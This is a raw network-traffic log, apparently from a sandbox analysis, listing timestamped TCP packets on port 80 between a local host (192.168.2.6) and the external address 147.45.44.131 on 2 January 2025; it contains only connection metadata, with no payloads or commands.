Jan 2, 2025 19:14:15.827078104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.827121973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.827132940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.827155113 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.827532053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.827543974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.827555895 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.827567101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.827574015 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.827579021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.827600002 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.827619076 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.828397989 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.828409910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.828419924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.828424931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.828437090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.828454971 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.828481913 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.867197037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867209911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867222071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867233992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867245913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867264032 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.867333889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.867470980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867489100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867501020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867511034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867517948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867527962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.867561102 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.867561102 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.868097067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.868201017 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.956099033 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956110001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956162930 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.956218958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956232071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956243992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956294060 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.956470013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956480980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956499100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956507921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956533909 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.956551075 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.956799030 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956820011 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956831932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956845045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.956860065 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.956912041 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.957304955 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957324028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957334995 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957345963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957345963 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.957361937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957369089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957372904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957376003 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.957411051 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.957442045 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.957546949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957557917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957592964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957617998 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.957648993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957660913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957673073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957684040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957691908 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.957705975 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.957766056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957779884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957791090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957801104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957812071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.957829952 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.957829952 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.957856894 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.958053112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958203077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958214045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958225965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958236933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958246946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958250046 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.958259106 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958275080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958287001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958297014 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.958297014 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.958297968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958308935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958318949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958338022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958350897 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958359003 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.958359003 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.958359957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958369017 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.958376884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958383083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958415985 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.958444118 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.958615065 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958631992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958642006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.958738089 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.043345928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.043353081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.043359995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.043416023 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.043519020 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.043540001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.043551922 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.043564081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.043591976 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.043622971 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.043692112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.043703079 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.043709993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.043735027 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.043760061 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.044651031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.044656992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.044668913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.044675112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.044680119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.044699907 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.044747114 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.045140028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045150995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045157909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045164108 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045170069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045175076 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045181036 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045200109 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.045237064 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.045613050 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045618057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045624018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045629978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045666933 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.045723915 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.045748949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.045924902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046070099 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.046106100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046111107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046225071 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.046257019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046263933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046269894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046276093 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046320915 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.046433926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046447992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046453953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046459913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046464920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046475887 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046494007 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.046515942 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.046858072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046868086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046875000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.046911001 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.047162056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.047224998 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.047344923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.047349930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.047426939 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.047636986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.047641993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.047708988 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.048010111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.048053980 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.048223972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.048538923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.048544884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.048619986 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.048695087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.048701048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.048773050 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.048841953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.048924923 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.049304962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.049316883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.049372911 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.049586058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.050169945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.050175905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.050182104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.050245047 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.050318956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.050481081 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.050671101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.050677061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.050683975 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.050688028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.050726891 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.050766945 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.051001072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051007032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051019907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051026106 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051053047 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.051074982 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.051152945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051158905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051170111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051212072 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.051296949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051302910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051309109 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051321030 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051327944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051332951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051337957 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051343918 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.051374912 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.051374912 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.051593065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051599026 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051615000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051620960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051625967 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051630974 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051636934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.051640034 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.051676035 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.052047968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052115917 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.052228928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052242994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052253962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052259922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052264929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052280903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052287102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052290916 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.052293062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052299976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052304983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052315950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052345037 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.052345037 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.052345037 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.052548885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.052825928 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.122066021 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.123460054 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.131581068 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.131587029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.131593943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.131598949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.131604910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.131611109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.131663084 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.131704092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.131874084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.131880045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.131886959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.131930113 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.132009029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132014990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132021904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132062912 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.132168055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132174969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132181883 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132186890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132221937 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.132253885 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.132298946 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132313013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132323027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132328987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132334948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132345915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132350922 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.132371902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132379055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132390976 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.132417917 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.132452965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132458925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132474899 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132482052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132491112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.132519007 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.132545948 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.132607937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135385990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135391951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135397911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135402918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135409117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135413885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135425091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135430098 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135442972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135447979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135453939 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135459900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135483980 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.135515928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135521889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135533094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135535955 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.135535955 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.135535955 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.135539055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135546923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135552883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135559082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135591984 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.135591984 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.135704994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135715961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135718107 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135727882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135734081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135739088 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135745049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135756969 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.135792971 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.135895967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135904074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135910034 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135915041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135921001 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.135953903 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.135977030 CET	49726	80	192.168.2.6	147.45.44.131
